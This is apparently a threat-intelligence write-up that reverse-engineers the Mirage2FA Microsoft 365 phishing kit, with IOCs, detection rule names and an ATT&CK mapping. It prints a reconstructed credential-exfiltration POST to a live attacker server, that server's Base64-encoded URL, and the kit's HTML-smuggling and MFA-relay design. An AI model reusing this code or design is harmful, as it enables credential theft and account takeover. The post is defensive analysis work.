~/f4n6 $ grep -r "Inside Mirage2FA — Reverse-Engineering" ./investigations/ --include="*.md"
Mirage2FA

Inside Mirage2FA — Reverse-Engineering

Jeff Davies 30 Jun 2026 19 min read

Inside Mirage2FA — Reverse-Engineering a Two-Year M365 Phishing Operation

Inside Mirage2FA — Reverse-Engineering a Two-Year M365 Phishing Operation

Adverse Trace OSINT · 2026-06-29 · TLP:CLEAR
Campaign: AT-IR-2026-MIRAGE2FA · Activity: Jun 2024 – Jun 2026 · 31+ domains · 14 IPs

Bottom line up front: We deobfuscated Mirage2FA's 94KB JavaScript loader and mapped the kit's live phishing, exfiltration, and MFA relay infrastructure. The kit uses HTML smuggling for initial access, a heavily obfuscated second-stage JS loader (310-entry string array, 930 decoded references), and a dual-channel exfiltration architecture (HTTP POST + WebSocket C2) to steal credentials and MFA codes in real-time. Infrastructure and OSINT artefacts link the campaign to operator-linked aliases and services; these should be treated as indicators rather than confirmed identity attribution. The operation has been continuously active since at least July 2024 across 31+ domains and 14 IPs.

Evidence Summary

This article makes claims beyond the public Fortra baseline. Each major claim and its supporting evidence is listed below. Confidence levels: HIGH = direct tool evidence (deobfuscated code, URLScan results, fetched scripts) · MEDIUM = strong correlative evidence (shared infrastructure, matching patterns) · LOW = OSINT artefacts that require independent verification.

ClaimEvidenceConfidence
user.cheacker.store hosts JS loaderFortra writeup + sandbox/URLScan + fetched scriptHIGH
letsgetitnow2.store is exfil endpointBase64-decoded JS endpoint + POST logic in deobfuscated codeHIGH
/wsUlr is page-tracking C2Deobfuscated WebSocket code — page_visit action, IP collectionHIGH
/8585 is MFA relay channelDeobfuscated WebSocket code — 2FA code sent on inputHIGH
31+ domains part of same kitShared JS paths, matching hashes, identical page templates, infra overlapMEDIUM
14 IPs across 5 hosting providersURLScan + IP pivots + passive DNS + CT logsMEDIUM
2-year continuous activityCertificate transparency + URLScan historical + Wayback MachineMEDIUM
Operator-linked aliases (LinXcoded / zxcoder)Telegram bot in JS code + domain CT + ASN registration artefactsLOW

Initial Investigation

Fortra published Mirage2FA indicators around cheacker.store and user.cheacker.store. We extracted the known second-stage paths, fetched and sandboxed available JS loaders, decoded the obfuscation framework, then pivoted across URLScan, certificate transparency, passive DNS, shared path structures, repeated JS loader names, CAPTCHA hosts, and exfil endpoints.

The objective was not to restate Fortra's findings, but to determine whether the kit had broader infrastructure, reused backend services, related historical domains, and detectable JavaScript behaviours. What we found was a two-year, multi-domain operation with a sophisticated real-time MFA relay architecture.

Executive Summary

The kit — named Mirage2FA by the Fortra FIRE team — begins with a phishing email containing an HTML attachment. That attachment uses a technique called HTML smuggling: a Base64-encoded, XOR-encrypted payload that decodes itself at runtime via TextDecoder and eval(), redirecting the victim to a second-stage JavaScript loader hosted on attacker-controlled infrastructure.

That JavaScript file — approximately 94KB in size — is heavily obfuscated with a 310-entry string array, runtime rotation, and 77 local variable aliases. After deobfuscating 930 string references, the full attack chain became clear: a CAPTCHA gate, a pixel-perfect Microsoft 365 login page, two WebSocket C2 channels for real-time operator communication, and a credential exfiltration endpoint that sends email, password, and MFA codes to a Namecheap-hosted server.

The infrastructure spans five hosting providers across the US, Ukraine, and Indonesia. OSINT artefacts — including Telegram bot references in the JS code, a .my.id domain, and ASN registration records — link the campaign to operator-linked aliases using the names LinXcoded and zxcoder. These artefacts should be treated as operator-linked indicators rather than confirmed identity attribution. The operation has been continuously active since at least July 2024.

LIVE AT TIME OF ANALYSIS 2-YEAR CAMPAIGN (HISTORICAL) 94KB JS DEOBFUSCATED

The HTML Smuggling Vector

The initial delivery is an HTML file attached to a phishing email. Two filename patterns have been identified:

  • Docxs-AuthForm_Review-ref<hash>-.html — document sharing theme (SHA256: C44AF2B1...)
  • Play_voicemail-NowVWAV.htm — voicemail theme (SHA256: E88AC0D6...)

When opened, the HTML file executes a Base64 decode followed by an XOR operation with key 0xAD, passes the result through TextDecoder, and calls eval(). This reconstructs and executes the second-stage payload entirely in memory — nothing is written to disk, and the decoded content never appears in the browser's page source. The victim is then redirected to the obfuscated JavaScript loader.

Why HTML smuggling works: Email security gateways scan attachments for known file types and malicious signatures. By encoding the payload inside a Base64+XOR layer inside an otherwise benign-looking HTML file, the attachment passes signature-based checks. The malicious content only materialises when the browser's JavaScript engine executes the decoding chain — by which point the victim has already opened the file.

Obfuscation Framework

The second-stage JavaScript loader is approximately 94KB of heavily obfuscated code. The obfuscation follows a well-known pattern — likely generated by javascript-obfuscator or a similar tool — but with custom parameters that make static analysis extremely tedious without automated deobfuscation.

string array · 310 entries

A function (a0_0x27fa) defines an array of 310+ obfuscated string entries, totalling 47,419 characters. This array holds every piece of text the kit needs: HTML templates, CSS, URLs, WebSocket endpoints, UI strings, error messages, and the base64-encoded exfiltration URL.

rotation iife · seed 0x3b15d

An Immediately Invoked Function Expression rotates the array by repeatedly shifting and pushing elements until a mathematical checksum (0x3b15d = 242,909) matches. Only after the array is in the correct order do string lookups return valid values.

lookup function · 77 aliases

A lookup function (a0_0x6292) takes a hex index, applies an offset (-0x97), and returns the string at that position. Throughout the code, 77 local variables are assigned as aliases to this function — each used to decode strings within its own function scope, preventing simple find-and-replace deobfuscation.

After building a custom deobfuscator that evaluates the string array, rotation IIFE, and lookup function in a Node.js VM sandbox, 930 obfuscated string references were successfully replaced with their decoded values. The deobfuscated source is 94,022 characters — only 8 characters larger than the original, because most decoded strings are similar in length to their hex index representations.

Anti-Analysis Toolkit

The kit implements six distinct anti-analysis mechanisms. Together, they make manual reverse-engineering in a browser environment extremely difficult without automated tooling.

1. Debugger trap

A setInterval runs every 100 milliseconds, executing a debugger statement. If DevTools is open, the debugger pauses execution, creating a measurable time delta. When performance.now() detects a pause longer than 100ms, the page immediately redirects to a decoy URL.

2. Decoy redirect

The redirect target is a legitimate-looking Microsoft 365 URL:

https://outlook.office365.com/encryption/login?itemid=e4e_m_5e217a7d-1049-4a97-9017-6be67ce4532d&recipientemailaddress=user@office.com&senderemailaddress=user@office.com&st=microsoft&anchormailbox=systemmailbox%7b0af09b7f-434f-4b2f-9cbc-57639edcfd9c%7d@any365.onmicrosoft.com&e4e_sdata=

This URL contains realistic Microsoft parameters — itemid, recipient/sender email addresses, an anchor mailbox GUID — making it appear as a genuine Microsoft encryption login endpoint. A researcher who triggers the anti-debug trap lands on what looks like a legitimate Microsoft page.

3. Keyboard shortcut blocking

The kit intercepts and blocks: F12 (DevTools), Ctrl+Shift+I/J/C/K (DevTools panels), Ctrl+U (View Source), Ctrl+H (History), and Meta+Alt+I/C (macOS DevTools). All events have preventDefault() and stopPropagation() called on them.

4. Context menu disabled

Right-click is disabled globally via addEventListener('contextmenu', e => e.preventDefault(), {capture: true}), preventing access to "Inspect Element."

5. MutationObserver

A MutationObserver watches document.body for any DOM changes (childList: true, subtree: true). If a researcher modifies the DOM — for example, to remove the disabled attribute from a button or delete the CAPTCHA element — the observer fires and re-applies all protections.

6. Button protection

All buttons except a honeypot (#dummy-bot-trap) are disabled on page load with disabled=true and data-protected=true. The MutationObserver re-enforces this if any buttons are modified. Automated bot frameworks that click the first available button will click the honeypot, potentially triggering bot detection.

The CAPTCHA Gate

Before the victim sees the login page, they must pass a CAPTCHA gate displaying "Verify you are human" — text that mimics Cloudflare's challenge page, creating a familiar UX that victims trust.

The CAPTCHA image is served from miniapp.ascertain.it.com/captcha.png with a timestamp query parameter to prevent caching. Despite the .png extension, the image is actually a server-generated SVG with randomised coloured paths — an anti-OCR technique that prevents automated solvers from reading the text.

Verification is a POST request to miniapp.ascertain.it.com/captcha/verify with JSON body {"answer": "<user_input>"}. Session cookies are included (credentials: "include"). The retry count is persisted in localStorage as captchaRetryCount.

Bootstrap 4.0.0 CSS (298KB) and jQuery 2.2.4 / 3.1.1 are loaded from the kit's own infrastructure and legitimate CDNs respectively. The CSS is hosted at miniapp.ascertain.it.com/start/xls/includes/css6.css.

The Fake M365 Login

After passing the CAPTCHA, the victim sees a pixel-perfect clone of the Microsoft 365 sign-in page. The page uses jQuery .show() and .hide() to transition between eight distinct states (div0 through div7):

DivisionPurposeKey Fields
div0CAPTCHA / loading screenCAPTCHA input
div1Email entry ("Sign In")#ai (email)
div2Password entry#pr (password)
div3MFA method selection / waitingOperator-controlled
div4Numeric 2FA code entry#2fa-code
div5Two-way voice verificationVoice prompt
div6Text code entry#text-2fa-code
div7One-time code (OTC) entryOTC input

The kit loads genuine Microsoft CDN assets to enhance authenticity: favicon from aadcdn.msauth.net, authenticator app icons, and sign-in option SVGs from aadcdn.msftauth.net. These are real Microsoft infrastructure domains — the phishing page is pulling legitimate assets from Microsoft's own CDN.

Error messages are realistic Microsoft text: "Your account or password is incorrect. If you don't remember your password, reset it now"; "Incorrect 2FA code. Try again."; "Sorry, your sign-in timed out. Please sign in again."

Email input is validated with regex /^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$/ before acceptance.

WebSocket C2 Channels

Mirage2FA uses two distinct WebSocket C2 channels, each serving a different purpose in the attack chain.

Channel 1: Page tracking (wss://user.cheacker.store/wsUlr)

This channel opens after the victim passes the CAPTCHA and clicks "Next." On connection open, the kit fetches the victim's public IP address from api.ipify.org?format=json and sends it to the operator as JSON:

{"action": "page_visit", "ip": "victim_public_ip"}

The operator — who is watching the WebSocket server — now knows a victim has arrived, sees their IP address, and can begin the Microsoft 365 login attempt. The operator responds with a JSON status that controls the phishing page flow:

Operator CommandPage ActionMFA Method Simulated
"two_way_voice"Show div5Voice verification prompt
"text"Show div6Text code entry
"otc"Show div7One-time code
"approve_signin"Show approval promptAuthenticator push (simulated)

This is a real-time interactive attack — the operator watches the victim and dynamically selects the MFA bypass method that matches the victim's organisation's configuration.

Channel 2: 2FA real-time relay (wss://user.cheacker.store/8585)

This channel opens when the victim enters their MFA code. The code is sent immediately to the operator via WebSocket, who uses it to complete the Microsoft 365 authentication before the MFA code expires.

Credential Exfiltration

The credential exfiltration endpoint is stored as a Base64-encoded string in the obfuscated string array:

aHR0cHM6Ly9sZXRzZ2V0aXRub3cyLnN0b3JlL3Vsci94d3BzLnBocA==
→ https://letsgetitnow2.store/ulr/xwps.php

The exfil URL is decoded at runtime with atob(), preventing static analysis from revealing the endpoint. Credentials are sent via $.ajax POST with a 5-minute timeout:

$.ajax({
  dataType: "JSON",
  url: atob('aHR0cHM6Ly9sZXRzZ2V0aXRub3cyLnN0b3JlL3Vsci94d3BzLnBocA=='),
  type: "POST",
  timeout: 0x493e0,  // 300,000ms = 5 minutes
  data: {
    ai: email,        // Account Identifier
    pr: password,     // Password
    code: mfa_code    // MFA code
  }
});

The field naming convention (ai, pr, code) is consistent across all five JS loader variants and all 31+ domains. Eight exfiltration paths have been confirmed across five JS loader variants and URLScan discovery:

  • /api/xwps.phpa1p2i.js
  • /eor/xwps.phpe1o2r.js
  • /tsk/xwps.phpt1s2k.js
  • /cmr/xwps.phpc1m2r.js
  • /ulr/xwps.phpu1l2r.js
  • /mor/xwps.php — discovered via URLScan
  • /xlr/xwps.php — discovered via URLScan
  • /ncb/xwps.php — discovered via URLScan

The exfiltration server — letsgetitnow2.store — is hosted on Namecheap premium hosting (IP: 162.0.209.118, LiteSpeed webserver). Its root domain redirects to google.com as a decoy.

On a successful response (status: "success"), the victim is redirected to https://www.office.com — the legitimate Microsoft Office page — creating the illusion of a successful login.

The Real-Time 2FA Relay

The most sophisticated aspect of Mirage2FA is its dual-path 2FA handling. When a victim enters their MFA code, the kit chooses between two exfiltration paths:

First MFA attempt: The code is sent via WebSocket to wss://user.cheacker.store/8585 for real-time relay to the operator. The operator immediately uses the code to complete the Microsoft 365 authentication. If the code is correct, the operator sends {"status": "success"} back, and the victim is redirected to office.com.

Retry attempt (after "Incorrect 2FA code"): The code is sent via HTTP POST to the exfiltration endpoint with the victim's email, password, and MFA code. This is the persistent storage path — credentials are stored on the exfil server for later use, even if the real-time relay fails.

Both WebSocket channels have empty onerror and onclose handlers — the kit silently ignores connection failures to avoid alerting the victim.

Attack Chain

The following diagram illustrates the complete attack chain from phishing email to operator session takeover:

STEP 1 · INITIAL ACCESS Phishing email with HTML attachment (Docxs-AuthForm_Review-ref<hash>-.html) STEP 2 · HTML SMUGGLING Base64 decode → XOR(0xAD) → TextDecoder → eval() Payload executes in memory — nothing written to disk STEP 3 · OBFUSCATED JS LOADER (~94KB) 310-entry string array · rotation seed 0x3b15d · 77 local aliases 930 obfuscated references · Anti-debug activates (debugger trap, key blocking) STEP 4 · CAPTCHA GATE "Verify you are human" — SVG anti-OCR captcha from miniapp.ascertain.it.com STEP 5 · FAKE M365 LOGIN PAGE Microsoft branding (genuine aadcdn.msauth.net assets) · 8 div states Victim enters email (#ai) → validated → password field (#pr) appears STEP 6 · WEBSOCKET C2: wsUlr (PAGE TRACKING) Victim IP fetched from api.ipify.org → sent to operator {"action": "page_visit", "ip": "victim_ip"} — operator notified, begins M365 login STEP 7 · OPERATOR (REAL-TIME) Operator sees victim email + IP → begins M365 login → Microsoft prompts MFA Operator selects MFA method: two_way_voice / text / otc / approve_signin STEP 8 · MFA PROMPT (OPERATOR-CONTROLLED) Victim sees MFA prompt matching their org's config — enters code STEP 9A · WEBSOCKET 8585 Real-time 2FA relay wss://user.cheacker.store/8585 First attempt — operator uses code immediately STEP 9B · HTTP POST EXFIL Persistent credential storage letsgetitnow2.store/ulr/xwps.php Retry — {ai, pr, code} stored for later STEP 10 · OPERATOR COMPLETES M365 AUTHENTICATION Operator uses victim's MFA code to complete login → active M365 session Operator sends {"status": "success"} → victim redirected to office.com STEP 11 · OUTCOME Attacker has active M365 session — email, SharePoint, OneDrive, Teams access Can establish persistence (app passwords, OAuth grants) · pivot via M365 as trusted IdP LEGEND Victim-facing step C2 communication Operator action Transition
Figure 1 — Complete Mirage2FA attack chain from phishing email to operator session takeover

Infrastructure Map

The kit's infrastructure spans five hosting providers across three countries. The operator has maintained continuous operations by rotating domains every 1–3 months while keeping the same backend IPs and JS loader patterns. The following diagram shows the infrastructure architecture:

VICTIM Browser · M365 user PRIMARY PHISHING HOST 185.174.100.224 HostPapa / ColoCrossing (US) user.cheacker.store JS loaders · WebSocket C2 CAPTCHA / ASSET HOST 185.174.100.76 HostPapa / ColoCrossing (US) miniapp.ascertain.it.com CAPTCHA verify · CSS · jQuery SECONDARY PHISHING HOST 139.28.36.38 DeltaHost-Kyiv (UA) dpsindustrialsgroup.com, baseasix.com, tvgsv.com, rsxbenefits.com, pcvgtech.store EXFIL SERVER 162.0.209.118 Namecheap (US) · LiteSpeed letsgetitnow2.store /*/xwps.php — {ai, pr, code} POST credentials OPERATOR INFRASTRUCTURE DigitalOcean (US) 139.59.226.143 · Pterodactyl panel 165.22.50.33 · Zxcoder Files 146.190.71.214 · Pterodactyl panel CloudHost (Indonesia) 103.172.205.44 · Admin panels OPERATOR-LINKED INDICATORS @LinXcoded_bot (Telegram) zxcoderid.my.id (.my.id = Indonesia) Zemlyaniy Dmitro Leonidovich DeltaHost-KYIV ASN registrant Jaeger tracing UI on fahrezabahran.com C2 WEBSOCKET C2 CHANNELS wss://user.cheacker.store/wsUlr Page tracking · victim IP · operator commands wss://user.cheacker.store/8585 2FA real-time relay DOMAIN ROTATION HISTORY (2 YEARS) Jul 2024 Jun 2026 povbtech.store iceusaa.com Nov 2024 linxcoded.store Feb 2025 avcbtech.store Mar 2025 pcvgtech.store Apr 2025 rsxbenefits.com Jun 2025 verpox.shop Jan 2026 volatilesour.store Apr 2026 cheacker.store Mar-Jun 2026 Pattern: domains rotate every 1-3 months · same backend IPs · same /xls/ JS loader pattern Total confirmed: 31+ domains · 14 IPs · 5 hosting providers · 2 years of continuous operation Operator-linked: LinXcoded / zxcoder indicators · Indonesia (.my.id) + Ukraine (DeltaHost-Kyiv ASN)
Figure 2 — Mirage2FA infrastructure map showing hosting providers, C2 channels, and domain rotation over two years

Indicators of Compromise

Status model: IOC confidence is classified as follows: Live at time of analysis (active and responding at time of writing, Jun 2026) · Observed in URLScan (seen in URLScan historical scans, may be inactive now) · Historical (CT/passive DNS) (appeared in certificate transparency or passive DNS logs, domain may be expired) · Code-derived (extracted from deobfuscated JavaScript, not necessarily live infrastructure). Each IOC table below should be interpreted with this model in mind.

network · IPs

IPProviderRoleStatusConfidence
185.174.100.224HostPapa / ColoCrossing (US)Primary phishing hostLive at time of analysisHIGH
185.174.100.76HostPapa / ColoCrossing (US)CAPTCHA / assetsLive at time of analysisHIGH
139.28.36.38DeltaHost-Kyiv (UA)Secondary phishingLive at time of analysisHIGH
162.0.209.118Namecheap (US)Exfil endpointLive at time of analysisHIGH
139.59.226.143DigitalOcean (US)Operator panelsObserved in URLScanMEDIUM
103.172.205.44CloudHost (Indonesia)Operator admin panelsObserved in URLScanMEDIUM

network · domains

DomainActive PeriodStatusNotes
cheacker.storeMar–Jun 2026Live at time of analysisPrimary — 5 JS loader paths
letsgetitnow2.storeApr 2025–Jun 2026Live at time of analysisExfil — 8 xwps.php paths
ascertain.it.comJun 2026Live at time of analysisCAPTCHA / CSS host
dpsindustrialsgroup.comSep 2025Historical (URLScan)Victim email in URL param
zxcoderid.my.idNov 2024–Jun 2026Historical (CT)Operator-linked domain
verpox.shopJan–Mar 2026Historical (CT)Earliest confirmed domain
pcvgtech.storeApr–Jul 2025Historical (CT)office.* subdomain
rsxbenefits.comJun–Sep 2025Historical (CT)ans.* subdomain

network · URLs

URLTypeConfidence
https://letsgetitnow2.store/*/xwps.phpExfil endpoint (8 paths)HIGH
wss://user.cheacker.store/85852FA real-time relayHIGH
wss://user.cheacker.store/wsUlrPage tracking + IP collectionHIGH
https://miniapp.ascertain.it.com/captcha/verifyCAPTCHA verificationHIGH
https://api.ipify.org?format=jsonVictim IP collectionHIGH

files · hashes

HashTypeDescription
C44AF2B12B2E78B83F7CDDF6673E4AB49B059F6724C43C483862B0CEA6AEEFBBSHA256First-stage HTML (Docxs-AuthForm)
E88AC0D62538EC06D9488437DAC9DD4F90AE3CB48E457AAF24C88E2D9E5AEB22SHA256First-stage HTML (Play_voicemail)
2dca60653ec877076a95016605b2dd86MD5JS loader u1l2r.js (94,014 bytes)
1f40a74b941d016ef8f46dda79f70fbfMD5JS loader e1o2r.js / c1m2r.js (identical)
63418af8080c6dd1427bebe120137fd5MD5JS loader t1s2k.js (94,501 bytes)
ace27df8a82b6a75ae51e18631eaef67MD5JS loader a1p2i.js (93,280 bytes)

infrastructure · operator-linked indicators

IndicatorTypeSourceConfidence
@LinXcoded_botTelegram bot reference in JS codeJS code analysisHIGH
zxcoderid.my.idDomain with .my.id TLD (Indonesia)Certificate transparencyMEDIUM
Zemlyaniy Dmitro LeonidovichASN registrant name (DeltaHost-Kyiv)ASN registration recordsMEDIUM
redacted@usu.eduVictim email found in URL parameterURLScan — Sep 2025HIGH

Note on attribution: The aliases LinXcoded and zxcoder appear in kit infrastructure (Telegram bot in JS code, .my.id domain in CT logs). The name Zemlyaniy Dmitro Leonidovich appears in ASN registration records for DeltaHost-Kyiv, which hosts confirmed phishing domains. These artefacts link the campaign to operator-linked indicators but should not be treated as confirmed identity attribution without independent verification.

Detection Coverage

Eight YARA rules and five Sigma rules were written during this investigation, covering the full spectrum of the kit's indicators:

YARA Rules

Rule NameCoverageConfidence
Mirage2FA_HTML_Smuggling_PayloadFirst-stage HTML (Base64 + XOR + eval)HIGH
Mirage2FA_JS_Loader_Obfuscated_ArraySecond-stage JS (310-entry array)HIGH
Mirage2FA_Exfil_PatternCredential exfil POST (xwps.php)HIGH
Mirage2FA_WebSocket_C2WebSocket C2 endpointsHIGH
Mirage2FA_Captcha_SystemCAPTCHA verification systemHIGH
Mirage2FA_AntiDebugAnti-debugging measuresHIGH
Mirage2FA_MS_Brand_AbuseMicrosoft CDN asset loadingHIGH
Mirage2FA_Base64_Exfil_URLBase64 exfil URL patternHIGH

Sigma Rules

Rule NameDetectionLevel
Mirage2FA_JS_Loader_RequestHTTP request to /*/<3-char>/xls/*.jsHIGH
Mirage2FA_Credential_Exfil_POSTPOST to letsgetitnow2.store/*/xwps.phpCRITICAL
Mirage2FA_WebSocket_C2WSS connection to cheacker.storeCRITICAL
Mirage2FA_CAPTCHA_VerificationPOST to miniapp.ascertain.it.com/captcha/verifyHIGH
Mirage2FA_DNS_QueryDNS query to known infrastructure domainsHIGH

MITRE ATT&CK Mapping

Technique IDNameTacticEvidenceConfidence
T1566.001Spearphishing AttachmentInitial AccessHTML attachment in phishing emailHIGH
T1027.006HTML SmugglingDefense EvasionBase64 + XOR(0xAD) + TextDecoder + eval() in HTML attachmentHIGH
T1027Obfuscated Files or InformationDefense Evasion310-entry string array, 77 aliases, rotation IIFE, anti-debug toolkitHIGH
T1105Ingress Tool TransferCommand and ControlSecond-stage JS loader fetched from user.cheacker.storeHIGH
T1071.001Web Protocols (WebSocket)Command and Controlwss://user.cheacker.store/wsUlr and /8585 channelsHIGH
T1111Multi-Factor Authentication InterceptionCredential AccessMFA code captured from victim and relayed to operator via WebSocketHIGH
T1557Adversary-in-the-MiddleCredential AccessAiTM proxy — operator uses victim credentials to authenticate to M365 in real-timeHIGH
T1041Exfiltration Over C2 ChannelExfiltrationMFA code relayed via WebSocket /8585 to operatorHIGH
T1567Exfiltration Over Web ServiceExfiltrationHTTP POST to letsgetitnow2.store/*/xwps.php with {ai, pr, code}HIGH

The kit has been continuously active for over two years, rotating domains every 1-3 months while maintaining the same backend infrastructure, the same JS loader pattern, and the same exfiltration endpoint. OSINT artefacts link the campaign to operator-linked aliases (LinXcoded / zxcoder) and infrastructure across Telegram, Pterodactyl panels, and a Jaeger tracing UI — these should be treated as indicators rather than confirmed identity attribution. The infrastructure spans five hosting providers across the US, Ukraine, and Indonesia.

Artifacts: Source code, deobfuscated JS, YARA rules, Sigma rules, IOC blocklist, and sandbox screenshots are retained by Adverse Trace. Sanitized detection rules are available on request.

Phishing-tracker campaign: 52 markers · 3 IP pivots completed · takedown contacts resolved for active domains.

Reporting: reportphish@microsoft.com for M365 brand abuse · hosting abuse reports ready for HostPapa, DeltaHost-Kyiv, Namecheap, DigitalOcean, and CloudHost.

Post this to LinkedIn
Formatting is converted automatically — headings, bullets, a link back & hashtags. Paste straight in.
J
Jeff Davies